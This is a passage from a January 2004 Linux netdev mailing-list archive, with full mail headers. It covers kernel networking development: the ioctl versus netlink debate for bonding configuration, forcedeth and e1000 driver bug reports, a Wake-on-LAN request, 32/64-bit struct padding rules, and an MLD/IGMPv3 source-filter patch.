just exchanges one magic ioctl for > another... The key question is what is the best interface for userland to configure in-kernel information -that is unrelated to a specific interface-. ethtool ioctl space doesn't apply, because that's a per-interface API. Opening a socket and just ioctl'ing away isn't terribly scalable in the long run, either. Consider all the applications that could legitimately claim they need a SIOCxxx ioctl assignment, just for their little slice of the networking world. Further, consider that all an ioctl is is a message sent to the kernel driver, perhaps sending and/or receiving some data. :) ioctls are a pain for 32/64-bit emulation layers too. It seems much easier to define a netlink protocol family of some sort and communicate that way. I'll poke around and see what I can come up with. Jeff From c-d.hailfinger.kernel.2003@gmx.net Sun Jan 11 15:04:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 15:04:34 -0800 (PST) Received: from mail.gmx.net (imap.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0BN4K6H029152 for ; Sun, 11 Jan 2004 15:04:21 -0800 Received: (qmail 12120 invoked by uid 65534); 11 Jan 2004 23:04:15 -0000 Received: from stud213094.studentenheim.uni-tuebingen.de (EHLO gmx.net) (134.2.213.94) by mail.gmx.net (mp015) with SMTP; 12 Jan 2004 00:04:15 +0100 X-Authenticated: #15936885 Message-ID: <4001D671.6030008@gmx.net> Date: Mon, 12 Jan 2004 00:04:17 +0100 From: Carl-Daniel Hailfinger User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030821 X-Accept-Language: de, en MIME-Version: 1.0 To: Stanislav Karchebny CC: netdev@oss.sgi.com Subject: Re: forcedeth 0.20 eth0: received interrupt report References: <200401112134.05375.berk@upnet.ru> In-Reply-To: <200401112134.05375.berk@upnet.ru> X-Enigmail-Version: 0.76.5.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2348 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: c-d.hailfinger.kernel.2003@gmx.net Precedence: bulk X-list: netdev Content-Length: 1218 Lines: 34 Stanislav Karchebny wrote: > "eth0: received irq with unknown events 0x21. Please report" > > This happens when i enable software CPU cooling on nForce2 chipset using > FVcool - this causes all nforce-net connections to fail miserably and these > events are generated in dmesg log. > > The very moment i disable softcooling using fvcool -d the network resumes > normal operations. > > Linux Kernel 2.6.0 final > forcedeth 0.20 > ASUS A7N8X Deluxe mobo Great! You're the first one finding out why this unknown event 0x01 happens. (0x20 is timer event) Since another user saw the same message but wasn't able to get the network running at all, I was stuck. Enabling normal receive doesn't help to get rid of the error. I know that nvnet is proprietary software and also not that stable according to user reports, but could you perhaps try nvnet instead of forcedeth? If nvnet still works when you enable softcooling, I can try to add a workaround to forcedeth so that it works, too. If nvnet fails, I still can try a few tricks but I'd have to know more than the nvnet driver writers about the nforce chipset and they are inside nvidia and I don't even have any docs. Thanks for your coperation, Carl-Daniel From gnb@melbourne.sgi.com Sun Jan 11 16:12:53 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 16:13:05 -0800 (PST) Received: from tolkor.sgi.com (tolkor.SGI.COM [198.149.18.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0C0Cp6H032249 for ; Sun, 11 Jan 2004 16:12:52 -0800 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by tolkor.sgi.com (8.12.9/8.12.9/linux-outbound_gateway-1.1) with SMTP id i0C1Vnr3027284 for ; Sun, 11 Jan 2004 19:31:50 -0600 Received: from melbourne.sgi.com (speed.melbourne.sgi.com [134.14.55.174]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id LAA25305; Mon, 12 Jan 2004 11:12:35 +1100 Message-ID: <4001E673.59994F40@melbourne.sgi.com> Date: Mon, 12 Jan 2004 11:12:35 +1100 From: Greg Banks Organization: SGI Australian Software Group X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-6mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: Jeff Garzik CC: Robert Olsson , "David S. Miller" , Linux Network Development list Subject: Re: [PATCH] make tg3 NAPI support configurable References: <3FE2F3A7.2A109F28@melbourne.sgi.com> <16354.64258.364153.488309@robur.slu.se> <4000ABBA.50601@pobox.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2349 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gnb@melbourne.sgi.com Precedence: bulk X-list: netdev Content-Length: 547 Lines: 16 Jeff Garzik wrote: > > Robert Olsson wrote: > > You can use coalescing with NAPI as well, e1000 and other drivers > > are doing this. This will give you same interrupt rates as non- > > NAPI at low load and "polling" without any interrupts at high load. > > Yes, this is something I've been meaning to add to tg3 for months now. I'd be very happy to test patches on an Altix, where this issue is a significant networking scaling limitation. Greg. -- Greg Banks, R&D Software Engineer, SGI Australian Software Group. I don't speak for SGI. From linux-netdev@gmane.org Sun Jan 11 16:13:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 16:14:05 -0800 (PST) Received: from main.gmane.org (main.gmane.org [80.91.224.249]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0C0Dn6H032338 for ; Sun, 11 Jan 2004 16:13:51 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AfpiF-0003w8-00 for ; Mon, 12 Jan 2004 01:13:47 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: netdev@oss.sgi.com Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AfpiE-0003w0-00 for ; Mon, 12 Jan 2004 01:13:46 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AfpiE-0007J0-00 for ; Mon, 12 Jan 2004 01:13:46 +0100 From: Jason Lunz Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Date: Mon, 12 Jan 2004 00:13:46 +0000 (UTC) Organization: PBR Streetgang Message-ID: References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> X-Complaints-To: usenet@sea.gmane.org User-Agent: slrn/0.9.8.0 (Linux) X-archive-position: 2350 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: lunz@falooley.org Precedence: bulk X-list: netdev Content-Length: 1041 Lines: 33 jgarzik@pobox.com said: > The key question is what is the best interface for userland to configure > in-kernel information -that is unrelated to a specific interface-. > ethtool ioctl space doesn't apply, because that's a per-interface API. ethtool is just as bad as brctl or any of the others. From (userland) ethtool.c: static int doit(void) { struct ifreq ifr; int fd; /* Setup our control structures. */ memset(&ifr, 0, sizeof(ifr)); strcpy(ifr.ifr_name, devname); /* Open control socket. */ fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("Cannot get control socket"); return 70; } /* now do ioctl() on fd, having nothing to do with * AF_INET nor SOCK_DGRAM */ calling a spade a spade, and all that. I don't see how that's any better than brctl. The per-interface only comes into it when you copy a dev name into a struct ifreq, but that doesn't associate the fd with the interface in any way. You could go ahead and issue another ioctl on the same fd for a different interface. Jason From dlstevens@us.ibm.com Sun Jan 11 21:49:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 11 Jan 2004 21:49:41 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0C5nL6H017893 for ; Sun, 11 Jan 2004 21:49:28 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0C5nC19499022; Mon, 12 Jan 2004 00:49:12 -0500 Received: from d03nm121.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0C5nBuU169890; Sun, 11 Jan 2004 22:49:11 -0700 Importance: Normal Sensitivity: Subject: Re: MLD problems (again) [PATCH] To: Takashi Hibi Cc: netdev@oss.sgi.com, davem@redhat.com X-Mailer: Lotus Notes Release 5.0.4a July 24, 2000 Message-ID: From: David Stevens Date: Sun, 11 Jan 2004 22:49:08 -0700 X-MIMETrack: Serialize by Router on D03NM121/03/M/IBM(Release 6.0.2CF2HF133 | November 14, 2003) at 01/11/2004 22:49:11 MIME-Version: 1.0 Content-type: multipart/mixed; Boundary="0__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9" X-archive-position: 2351 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dlstevens@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 6084 Lines: 147 --0__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9 Content-type: multipart/alternative; Boundary="1__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9" --1__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9 Content-type: text/plain; charset=US-ASCII Takashi, I believe the patch below will fix the problem you had with MCAST_JOIN_SOURCE_GROUP not sending a report. There was a typo in the source filter switching that did two deletes, rather than an delete and an add. Dave, Although IGMPv3 didn't have any problems, this patch also re-arranges the order of the filter changes. I think it's cleaner to add the new one first and then delete the old one, rather than having a small window with no filter set. So, this is a bug fix for MLD and a code clean-up for IGMPv3. This bug and patch should also apply to the 2.4 line. +-DLS [included in-line for viewing and as an attachment for unmangled whitespace] --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 @@ -372,9 +372,9 @@ goto done; } else if (pmc->sfmode != omode) { /* allow mode switches for empty-set filters */ + ip6_mc_add_src(idev, group, omode, 0, 0, 0); ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); pmc->sfmode = omode; - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); } psl = pmc->sflist; --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 @@ -1749,11 +1749,10 @@ goto done; } else if (pmc->sfmode != omode) { /* allow mode switches for empty-set filters */ + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, 0, 0); pmc->sfmode = omode; - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, - 0, 0); } psl = pmc->sflist; (See attached file: 2.6.1MLD.patch) --1__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9 Content-type: text/html; charset=US-ASCII Content-Disposition: inline

Takashi,
I believe the patch below will fix the problem you
had with MCAST_JOIN_SOURCE_GROUP not sending a
report. There was a typo in the source filter switching that did
two deletes, rather than an delete and an add.

Dave,
Although IGMPv3 didn't have any problems, this patch
also re-arranges the order of the filter changes. I think it's cleaner
to add the new one first and then delete the old one, rather than
having a small window with no filter set. So, this is a bug fix for MLD
and a code clean-up for IGMPv3.
This bug and patch should also apply to the 2.4 line.

+-DLS

[included in-line for viewing and as an attachment for unmangled
whitespace]

--- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800
+++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800
@@ -372,9 +372,9 @@
goto done;
} else if (pmc->sfmode != omode) {
/* allow mode switches for empty-set filters */
+ ip6_mc_add_src(idev, group, omode, 0, 0, 0);
ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
pmc->sfmode = omode;
- ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0);
}

psl = pmc->sflist;
--- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800
+++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800
@@ -1749,11 +1749,10 @@
goto done;
} else if (pmc->sfmode != omode) {
/* allow mode switches for empty-set filters */
+ ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0);
ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
0, 0);
pmc->sfmode = omode;
- ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0,
- 0, 0);
}

psl = pmc->sflist;

(See attached file: 2.6.1MLD.patch)
--1__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9-- --0__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9 Content-type: application/octet-stream; name="2.6.1MLD.patch" Content-Disposition: attachment; filename="2.6.1MLD.patch" Content-ID: <10__=07BBE48ADF8C98F98f9e8a93df938@us.ibm.com> Content-transfer-encoding: base64 LS0tIGxpbnV4LTIuNi4xL25ldC9pcHY2L21jYXN0LmMJMjAwNC0wMS0wOCAyMjo1OTo1Ni4wMDAw MDAwMDAgLTA4MDAKKysrIGxpbnV4LTIuNi4xRjEvbmV0L2lwdjYvbWNhc3QuYwkyMDA0LTAxLTEx IDIxOjA2OjA1LjAwMDAwMDAwMCAtMDgwMApAQCAtMzcyLDkgKzM3Miw5IEBACiAJCQlnb3RvIGRv bmU7CiAJfSBlbHNlIGlmIChwbWMtPnNmbW9kZSAhPSBvbW9kZSkgewogCQkvKiBhbGxvdyBtb2Rl IHN3aXRjaGVzIGZvciBlbXB0eS1zZXQgZmlsdGVycyAqLworCQlpcDZfbWNfYWRkX3NyYyhpZGV2 LCBncm91cCwgb21vZGUsIDAsIDAsIDApOwogCQlpcDZfbWNfZGVsX3NyYyhpZGV2LCBncm91cCwg cG1jLT5zZm1vZGUsIDAsIDAsIDApOwogCQlwbWMtPnNmbW9kZSA9IG9tb2RlOwotCQlpcDZfbWNf ZGVsX3NyYyhpZGV2LCBncm91cCwgcG1jLT5zZm1vZGUsIDAsIDAsIDApOwogCX0KIAogCXBzbCA9 IHBtYy0+c2ZsaXN0OwotLS0gbGludXgtMi42LjEvbmV0L2lwdjQvaWdtcC5jCTIwMDQtMDEtMDgg MjM6MDA6MTIuMDAwMDAwMDAwIC0wODAwCisrKyBsaW51eC0yLjYuMUYxL25ldC9pcHY0L2lnbXAu YwkyMDA0LTAxLTExIDIxOjI3OjQxLjAwMDAwMDAwMCAtMDgwMApAQCAtMTc0OSwxMSArMTc0OSwx MCBAQAogCQkJZ290byBkb25lOwogCX0gZWxzZSBpZiAocG1jLT5zZm1vZGUgIT0gb21vZGUpIHsK IAkJLyogYWxsb3cgbW9kZSBzd2l0Y2hlcyBmb3IgZW1wdHktc2V0IGZpbHRlcnMgKi8KKwkJaXBf bWNfYWRkX3NyYyhpbl9kZXYsICZtcmVxcy0+aW1yX211bHRpYWRkciwgb21vZGUsIDAsIDAsIDAp OwogCQlpcF9tY19kZWxfc3JjKGluX2RldiwgJm1yZXFzLT5pbXJfbXVsdGlhZGRyLCBwbWMtPnNm bW9kZSwgMCwgCiAJCQkwLCAwKTsKIAkJcG1jLT5zZm1vZGUgPSBvbW9kZTsKLQkJaXBfbWNfYWRk X3NyYyhpbl9kZXYsICZtcmVxcy0+aW1yX211bHRpYWRkciwgcG1jLT5zZm1vZGUsIDAsIAotCQkJ MCwgMCk7CiAJfQogCiAJcHNsID0gcG1jLT5zZmxpc3Q7Cg== --0__=07BBE48ADF8C98F98f9e8a93df938690918c07BBE48ADF8C98F9-- From A.Verweij2@ewi.tudelft.nl Mon Jan 12 03:01:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 03:01:31 -0800 (PST) Received: from mailhst2.its.tudelft.nl (mailhst2.its.tudelft.nl [130.161.34.250]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CB1G6H003481 for ; Mon, 12 Jan 2004 03:01:17 -0800 Received: from elektron.its.tudelft.nl (elektron.its.tudelft.nl [130.161.33.15]) by mailhst2.its.tudelft.nl (8.11.6p2/8.11.6) with ESMTP id i0CB13l26574; Mon, 12 Jan 2004 12:01:04 +0100 (MET) Received: from localhost (verwei90@localhost) by elektron.its.tudelft.nl (8.9.3 (PHNE_26305)/8.9.3) with ESMTP id MAA04496; Mon, 12 Jan 2004 12:01:03 +0100 (MET) Date: Mon, 12 Jan 2004 12:01:02 +0100 (MET) From: Arjen Verweij Reply-To: a.verweij@student.tudelft.nl To: netdev@oss.sgi.com cc: c-d.hailfinger.kernel.2003@gmx.net Subject: [Forcedeth] Wake-on-LAN support? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2352 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: A.Verweij2@ewi.tudelft.nl Precedence: bulk X-list: netdev Content-Length: 602 Lines: 22 L.S., First, many thanks for your efforts. The driver works beautifully here, with 2.4.23 and 2.6.0-test11 alike. I was wondering if it is possible to add Wake-on-LAN support to the driver. NVidia claims their binary driver supports WOL, but it doesn't work one bit. It is possible to look into this? I have filed a bugtracker with the ACPI people, but they are somewhat understandably preoccupied with fixing laptop woes. URL: http://bugzilla.kernel.org/show_bug.cgi?id=1636 I am able to enable WOL at shutdown with pci-config from scyld.com, but this is obviously an ugly fix. Regards, Arjen From hibi665@oki.com Mon Jan 12 03:03:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 03:03:17 -0800 (PST) Received: from iscan1.intra.oki.co.jp (okigate.oki.co.jp [202.226.91.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CB336H003714 for ; Mon, 12 Jan 2004 03:03:04 -0800 Received: from aoi.okilab.oki.co.jp (localhost.localdomain [127.0.0.1]) by iscan1.intra.oki.co.jp (8.9.3/8.9.3) with SMTP id UAA25234 for ; Mon, 12 Jan 2004 20:03:02 +0900 Received: (qmail 8224 invoked from network); 12 Jan 2004 20:03:01 +0900 Received: from dhcp23233.okilab.oki.co.jp (HELO kiso) (172.24.23.233) by aoi.okilab.oki.co.jp with SMTP; 12 Jan 2004 20:03:01 +0900 Message-Id: <20040112200448.6e8f22f7%hibi665@oki.com> MIME-Version: 1.0 Date: Mon, 12 Jan 2004 20:04:48 +0900 X-Mailer: Denshin 8 Go V32.1.4.3 X-My-Real-Login-Name: thibi; aoi From: Takashi Hibi To: David Stevens Cc: netdev@oss.sgi.com, davem@redhat.com In-Reply-To: (Your message of "Sun, 11 Jan 2004 22:49:08 -0700") References: Subject: Re: MLD problems (again) [PATCH] X-archive-position: 2353 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hibi665@oki.com Precedence: bulk X-list: netdev Content-Length: 2192 Lines: 65 David, Thank you for the patch. But at least it doesn't solve the problem for 2.4 line kernel. I will also test with 2.6.1 later. Regards, Takashi Hibi > > > > > Takashi, > I believe the patch below will fix the problem you > had with MCAST_JOIN_SOURCE_GROUP not sending a > report. There was a typo in the source filter switching that did > two deletes, rather than an delete and an add. > > Dave, > Although IGMPv3 didn't have any problems, this patch > also re-arranges the order of the filter changes. I think it's cleaner > to add the new one first and then delete the old one, rather than > having a small window with no filter set. So, this is a bug fix for MLD > and a code clean-up for IGMPv3. > This bug and patch should also apply to the 2.4 line. > > +-DLS > > [included in-line for viewing and as an attachment for unmangled > whitespace] > > --- linux-2.6.1/net/ipv6/mcast.c 2004-01-08 22:59:56.000000000 -0800 > +++ linux-2.6.1F1/net/ipv6/mcast.c 2004-01-11 21:06:05.000000000 -0800 > @@ -372,9 +372,9 @@ > goto done; > } else if (pmc->sfmode != omode) { > /* allow mode switches for empty-set filters */ > + ip6_mc_add_src(idev, group, omode, 0, 0, 0); > ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); > pmc->sfmode = omode; > - ip6_mc_del_src(idev, group, pmc->sfmode, 0, 0, 0); > } > > psl = pmc->sflist; > --- linux-2.6.1/net/ipv4/igmp.c 2004-01-08 23:00:12.000000000 -0800 > +++ linux-2.6.1F1/net/ipv4/igmp.c 2004-01-11 21:27:41.000000000 -0800 > @@ -1749,11 +1749,10 @@ > goto done; > } else if (pmc->sfmode != omode) { > /* allow mode switches for empty-set filters */ > + ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, omode, 0, 0, 0); > ip_mc_del_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, > 0, 0); > pmc->sfmode = omode; > - ip_mc_add_src(in_dev, &mreqs->imr_multiaddr, pmc->sfmode, 0, > - 0, 0); > } > > psl = pmc->sflist; > > (See attached file: 2.6.1MLD.patch) From ak@suse.de Mon Jan 12 05:14:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 05:14:39 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CDEE6H026539 for ; Mon, 12 Jan 2004 05:14:15 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 44AA219D0760; Mon, 12 Jan 2004 13:38:25 +0100 (CET) Date: Mon, 12 Jan 2004 13:38:16 +0100 From: Andi Kleen To: Jeff Garzik Cc: greearb@candelatech.com, amir.noam@intel.com, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, hadi@cyberus.ca Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Message-Id: <20040112133816.57993f44.ak@suse.de> In-Reply-To: <4001C72E.8030108@pobox.com> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2354 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 566 Lines: 15 On Sun, 11 Jan 2004 16:59:10 -0500 Jeff Garzik wrote: > ioctls are a pain for 32/64-bit emulation layers too. It seems much > easier to define a netlink protocol family of some sort and communicate > that way. Actually that's not true. netlink is far worse for emulation layers when you break the protocol. e.g. the current ipsec/pf_key protocol is not compatible on x86-64 and it is near impossible to fix it without major surgery. With ioctls it would be far easier to fixbecause the infrastructure for emulation is already there. -Andi From hadi@cyberus.ca Mon Jan 12 05:51:39 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 05:51:52 -0800 (PST) Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CDpd6H030473 for ; Mon, 12 Jan 2004 05:51:39 -0800 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1Ag2Te-0007Z5-0e; Mon, 12 Jan 2004 08:51:34 -0500 Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces From: jamal Reply-To: hadi@cyberus.ca To: Andi Kleen Cc: Jeff Garzik , greearb@candelatech.com, amir.noam@intel.com, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com In-Reply-To: <20040112133816.57993f44.ak@suse.de> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> <20040112133816.57993f44.ak@suse.de> Content-Type: text/plain Organization: jamalopolis Message-Id: <1073915461.1118.342.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 12 Jan 2004 08:51:02 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 2355 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 877 Lines: 28 Andi, Can you point to specifics that break 64 bit emulation so we can avoid them? I have to admit the pf_key interaction is relatively unorthrodox but looked fine. What are the things you will perform surgery on? cheers, jamal On Mon, 2004-01-12 at 07:38, Andi Kleen wrote: > On Sun, 11 Jan 2004 16:59:10 -0500 > Jeff Garzik wrote: > > > > ioctls are a pain for 32/64-bit emulation layers too. It seems much > > easier to define a netlink protocol family of some sort and communicate > > that way. > > Actually that's not true. netlink is far worse for emulation layers when you > break the protocol. e.g. the current ipsec/pf_key protocol is not compatible > on x86-64 and it is near impossible to fix it without major surgery. > With ioctls it would be far easier to fixbecause the infrastructure for emulation > is already there. > > -Andi > From ak@suse.de Mon Jan 12 07:06:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 07:06:48 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CF6T6H000515 for ; Mon, 12 Jan 2004 07:06:30 -0800 Received: from Hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 3BD6F19D0D07; Mon, 12 Jan 2004 16:04:51 +0100 (CET) Date: Mon, 12 Jan 2004 16:04:46 +0100 From: Andi Kleen To: hadi@cyberus.ca Cc: jgarzik@pobox.com, greearb@candelatech.com, amir.noam@intel.com, bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com Subject: Re: [bonding] Add basic support for dynamic configuration of bond interfaces Message-Id: <20040112160446.691e187e.ak@suse.de> In-Reply-To: <1073915461.1118.342.camel@jzny.localdomain> References: <200401111628.07930.amir.noam@intel.com> <4001A667.2020904@pobox.com> <4001C158.6040103@candelatech.com> <4001C72E.8030108@pobox.com> <20040112133816.57993f44.ak@suse.de> <1073915461.1118.342.camel@jzny.localdomain> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2356 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: netdev Content-Length: 1267 Lines: 38 On 12 Jan 2004 08:51:02 -0500 jamal wrote: > Andi, > Can you point to specifics that break 64 bit emulation so we can avoid > them? > I have to admit the pf_key interaction is relatively unorthrodox but > looked fine. Ok, here are the full rules: Standards: long/void * are disallowed use [su]{16,32,64} instead Non obvious problems specific to IA64 and x86-64 (they don't happen on sparc64/ppc64, that is why they were often not catched earlier): When you use [su]64: make sure the data element is explicitely padded to be on a 8 byte boundary in the structure. The reason is that alignof(u64) on i386 is 4 but 8 on ia64/x86-64 and the structure layout could change. also when you use 64bit types make sure the complete structure is padded to 8 bytes. The x86-64 ABI pads any data structure to the alignof() of its biggest member to get good alignment for arrays. This is what broke PF_KEY - it is missing this padding and the structure layout ends up differently with nested structures. > What are the things you will perform surgery on? I'm not sure I will because it is too ugly. Or at least I haven't found a nice elegant way for it yet. Currently you just cannot use ipsec from 32bit executables, you have to use 64bit. -Andi From olof@austin.ibm.com Mon Jan 12 08:42:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 12 Jan 2004 08:43:00 -0800 (PST) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0CGgk6H006908 for ; Mon, 12 Jan 2004 08:42:47 -0800 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i0CGgd19485904; Mon, 12 Jan 2004 11:42:40 -0500 Received: from austin.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i0CGgbqc154550; Mon, 12 Jan 2004 09:42:39 -0700 Received: from forte.austin.ibm.com (forte.austin.ibm.com [9.53.85.27]) by austin.ibm.com (8.12.10/8.12.10) with ESMTP id i0CGga8t037246; Mon, 12 Jan 2004 10:42:36 -0600 Received: from localhost (olof@localhost) by forte.austin.ibm.com (AIX4.3/8.9.3/8.9.3-client1.01) with ESMTP id KAA57698; Mon, 12 Jan 2004 10:42:36 -0600 Date: Mon, 12 Jan 2004 10:42:36 -0600 (CST) From: olof@austin.ibm.com To: netdev@oss.sgi.com cc: cramerj@intel.com, Subject: [2.4] e1000 leaking pci mappings on rx errors? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 2357 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: olof@austin.ibm.com Precedence: bulk X-list: netdev Content-Length: 1405 Lines: 35 We have a machine here (running a RHEL 2.4.21-based kernel), that started showing leakage of PCI mappings when the driver was upgraded from 5.1.11 to 5.2.20. The system is a large-config 